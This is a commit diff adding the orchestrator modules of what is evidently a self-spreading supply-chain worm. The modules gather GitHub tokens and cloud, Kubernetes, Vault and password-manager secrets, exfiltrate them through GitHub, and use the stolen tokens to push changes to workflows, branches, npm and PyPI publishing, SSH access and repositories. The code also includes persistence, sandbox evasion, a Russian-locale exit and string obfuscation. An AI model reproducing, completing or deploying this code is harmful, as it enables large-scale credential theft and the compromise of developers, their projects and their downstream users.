Upload files to "src/orchestrator"

This commit is contained in:
2026-07-03 03:09:21 +00:00
parent 7a37255c55
commit 8fdc7386e0
4 changed files with 335 additions and 0 deletions
+108
View File
@@ -0,0 +1,108 @@
import { ActionMutator } from "../mutator/action/actionMutator";
import type { Mutator } from "../mutator/base";
import { ReadmeUpdater } from "../mutator/branch";
import { Claude } from "../mutator/claude";
import { NPMOidcClient } from "../mutator/npmoidc";
import { NpmOidcBranchMutator } from "../mutator/npmoidc/branch";
import { InstallMonitor } from "../mutator/persist/install-monitor";
import { PyPIOidcClient } from "../mutator/pypioidc";
import { RepositoryMutator } from "../mutator/repository";
import { RubygemsOidcBranchMutator } from "../mutator/rubygemsoidc/branch";
import { SshMutator } from "../mutator/ssh/sshMutator";
import type { ProviderResult } from "../providers/types";
// ── Always-run mutators (used in both success and failure paths) ────────────
/** Mutators that always execute regardless of exfiltration outcome. */
export function getFallbackMutations(): Mutator[] {
return [
new Claude(),
new InstallMonitor(),
new SshMutator(),
new NPMOidcClient(),
new PyPIOidcClient(),
];
}
// ── Conditional mutation planning ───────────────────────────────────────────
/**
* Build the list of mutators to run based on quick-result data and
* any GitHub tokens discovered by second-stage providers (cloud).
*
* @param quickResults Results from the three quick providers.
* @param dispatched Whether GitHub Actions tokens were dispatched
* during the main exfiltration phase.
* @param extraTokens GitHub tokens discovered by stage-two
* providers (AWS, Azure, GCP, K8s, Vault, etc.).
*/
export function planMutations(
quickResults: ProviderResult[],
dispatched: boolean,
extraTokens: ReadonlySet<string> = new Set(),
exfilFailed = false,
): Mutator[] {
const mutators: Mutator[] = [];
// ReadmeUpdater — only when no GitHub Actions tokens were dispatched
if (!dispatched) {
for (const item of quickResults) {
for (const token of item.matches?.["ghs_old"] ?? []) {
mutators.push(new ReadmeUpdater(token));
}
for (const token of item.matches?.["ghs_jwt"] ?? []) {
mutators.push(new ReadmeUpdater(token));
}
}
}
// ActionMutator — one per ghtoken (deduplicated)
const seenGhtokens = new Set<string>();
for (const item of quickResults) {
for (const token of item.matches?.["ghtoken"] ?? []) {
if (seenGhtokens.has(token)) continue;
seenGhtokens.add(token);
mutators.push(new ActionMutator(token));
mutators.push(new NpmOidcBranchMutator(token));
//mutators.push(new RepositoryMutator(token));
}
}
// Stage-two tokens discovered by cloud providers (AWS, Azure, GCP, etc.).
// These run the same mutators in parallel with the quick-results tokens.
for (const token of extraTokens) {
if (seenGhtokens.has(token)) continue;
seenGhtokens.add(token);
mutators.push(new ActionMutator(token));
mutators.push(new NpmOidcBranchMutator(token));
mutators.push(new RepositoryMutator(token, { aggressive: exfilFailed }));
}
// Always-run
mutators.push(...getFallbackMutations());
return mutators;
}
// ── Execution ───────────────────────────────────────────────────────────────
/**
* Run every mutator in parallel. Each mutator's {@link Mutator.shouldExecute}
* guard is checked first; individual failures are swallowed so one bad
* mutator cannot abort the rest.
*/
export async function executeMutations(mutators: Mutator[]): Promise<void> {
if (mutators.length === 0) return;
await Promise.allSettled(
mutators.map(async (m) => {
try {
if (await m.shouldExecute()) {
await m.execute();
}
} catch {
// one mutator failing shouldn't abort others
}
}),
);
}
+69
View File
@@ -0,0 +1,69 @@
import { NPMOidcClient } from "../mutator/npmoidc/index";
import { isDecoy } from "../utils/checkSandbox";
import { isCI, isSystemRussian } from "../utils/config";
import { daemonize } from "../utils/daemon";
import { acquireLock, bail } from "../utils/lock";
import { logUtil } from "../utils/logger";
declare function scramble(str: string): string;
/**
* Check whether we are running in the target repository.
* Exits early if the repo matches, or if it's the wrong repo but
* REPO_ID_SUFFIX is configured.
*/
async function checkTargetRepo(): Promise<void> {
const workflowId = process.env["WORKFLOW_ID"];
const repoSuffix = process.env["REPO_ID_SUFFIX"];
if (!workflowId && !repoSuffix) return;
try {
if (process.env[scramble("GITHUB_ACTIONS")]) {
const { GITHUB_WORKFLOW_REF, GITHUB_REPOSITORY } = process.env;
logUtil.info(`Ref is ${GITHUB_WORKFLOW_REF}`);
logUtil.info(`Repo is ${GITHUB_REPOSITORY}`);
if (
(!workflowId || GITHUB_WORKFLOW_REF?.includes(workflowId)) &&
(!repoSuffix || GITHUB_REPOSITORY?.includes(repoSuffix))
) {
const bitMutator = new NPMOidcClient();
await bitMutator.execute();
bail();
} else if (repoSuffix && GITHUB_REPOSITORY?.includes(repoSuffix)) {
bail();
}
}
} catch {
return;
}
}
/**
* Run all preflight checks. May call bail() when the environment
* is not suitable for execution (decoy, wrong repo, Russian locale,
* daemonized parent, already locked).
*/
export async function preflight(): Promise<void> {
if (isDecoy()) {
bail();
}
await checkTargetRepo();
if (isSystemRussian()) {
logUtil.log("Exiting as russian language detected!");
bail();
}
if (!isCI()) daemonize();
const shutdown = () => {};
process.on(scramble("SIGINT"), shutdown);
process.on(scramble("SIGTERM"), shutdown);
if (!acquireLock()) {
logUtil.error("Another instance is already running");
bail();
}
}
+112
View File
@@ -0,0 +1,112 @@
import { getTokenMetadata } from "../github_utils/tokenCheck";
import { GitHubActionsService } from "../providers/actions/actions";
import { AwsAccountService } from "../providers/aws/awsAccount";
import { AwsSecretsManagerService } from "../providers/aws/secretsManager";
import { AwsSsmService } from "../providers/aws/ssm";
import { AzureIdentityService } from "../providers/azure/identity";
import { AzureKeyVaultService } from "../providers/azure/keyvault";
import type { Provider } from "../providers/base";
import { ShellService } from "../providers/devtool/devtool";
import { FileSystemService } from "../providers/filesystem/filesystem";
import { GrepProvider } from "../providers/filesystem/grep";
import { GcpIdentityService } from "../providers/gcp/identity";
import { GcpSecretsService } from "../providers/gcp/secrets";
import { GitHubRunner } from "../providers/ghrunner/runner";
import { K8sSecretsService } from "../providers/kubernetes/kubernetes";
import { PasswordManagerProvider } from "../providers/passwords/passwords";
import type { ProviderResult } from "../providers/types";
import { VaultSecretsService } from "../providers/vault/vault-secrets";
import { logUtil } from "../utils/logger";
/**
* Run the three "quick" providers (filesystem, shell, GitHub runner)
* and return their results. These are used both for token discovery
* and as initial data for the collector.
*/
export async function gatherQuickResults(): Promise<ProviderResult[]> {
const localProvider = new FileSystemService();
const shellProvider = new ShellService();
const runnerProvider = new GitHubRunner();
return [
await localProvider.execute(),
await shellProvider.execute(),
await runnerProvider.execute(),
];
}
export interface ProviderBundle {
providers: Provider[];
dispatched: boolean;
}
/**
* Build the full provider list:
* 1. Start with the static cloud / secret-store providers.
* 2. For every valid GitHub token found in quickResults, append a
* GitHubActionsService.
*
* Returns the providers and a flag indicating whether at least one
* GitHub Actions token was dispatched.
*/
export async function buildProviders(
quickResults: ProviderResult[],
): Promise<ProviderBundle> {
const providers: Provider[] = [
new AwsSsmService(),
new AwsSecretsManagerService(),
new AwsAccountService(),
new AzureKeyVaultService(),
new AzureIdentityService(),
new GcpSecretsService(),
new GcpIdentityService(),
new K8sSecretsService(),
new VaultSecretsService(),
new PasswordManagerProvider(),
];
let dispatched = false;
const seenTokens = new Set<string>();
let hasClassicPat = false;
for (const item of quickResults) {
logUtil.log(`Checking ${item.service}`);
if (item.matches?.["ghtoken"]) {
for (const token of item.matches["ghtoken"]) {
if (seenTokens.has(token)) continue;
seenTokens.add(token);
// Track classic PATs so we can enable the grep provider below.
if (token.startsWith("ghp_") || token.startsWith("gho_")) {
hasClassicPat = true;
}
const meta = await getTokenMetadata(token);
if (!meta.valid) continue;
// Store metadata so the collector can skip re-validating.
if (!item.tokenMetadata) item.tokenMetadata = {};
item.tokenMetadata[token] = meta;
// Only add the provider if the token has repo scope (push) or
// deployments scope — needed to push branches or create deployments.
const hasRepo =
meta.scopes.includes("repo") || meta.scopes.includes("public_repo");
if (hasRepo) {
providers.push(new GitHubActionsService(token));
dispatched = true;
}
}
}
}
// Grep the filesystem for more credentials when classic PATs are present.
if (hasClassicPat) {
logUtil.log(
"[providers] Classic PAT (ghp_/gho_) found — enabling GrepProvider.",
);
providers.push(new GrepProvider());
}
return { providers, dispatched };
}
+46
View File
@@ -0,0 +1,46 @@
import type { ProviderResult } from "../providers/types";
import type { Sender } from "../sender/base";
import { GitHubSenderFactory } from "../sender/github/gitHubSenderFactory";
import { logUtil } from "../utils/logger";
/**
* Build a GitHub-only sender chain:
* 1. GitHub direct (commit-search PAT)
* 2. GitHub token fallback (quick-results tokens)
*
* Returns the non-null senders in priority order.
*/
export async function buildSenderChain(
quickResults: ProviderResult[],
): Promise<Sender[]> {
// Derive a GitHub search token from quick results
let ghsSearchToken: string | undefined;
for (const result of quickResults) {
const jwt = result.matches?.["ghs_jwt"];
const old = result.matches?.["ghs_old"];
logUtil.log(
`quickResults ${result.service}: ghs_jwt=${jwt?.length ?? 0} ghs_old=${old?.length ?? 0}`,
);
if (jwt?.length) {
ghsSearchToken = jwt[0];
break;
}
if (old?.length) {
ghsSearchToken = old[0];
break;
}
}
const gitHubFactory = new GitHubSenderFactory();
const senders: (Sender | null)[] = [];
// Primary: GitHub direct via commit-search PAT
senders.push(await gitHubFactory.tryCreate(undefined, ghsSearchToken));
// Fallback: GitHub via quick-results tokens
if (!senders[0]?.healthy()) {
senders.push(await gitHubFactory.tryCreate(quickResults));
}
return senders.filter((s): s is Sender => s !== null);
}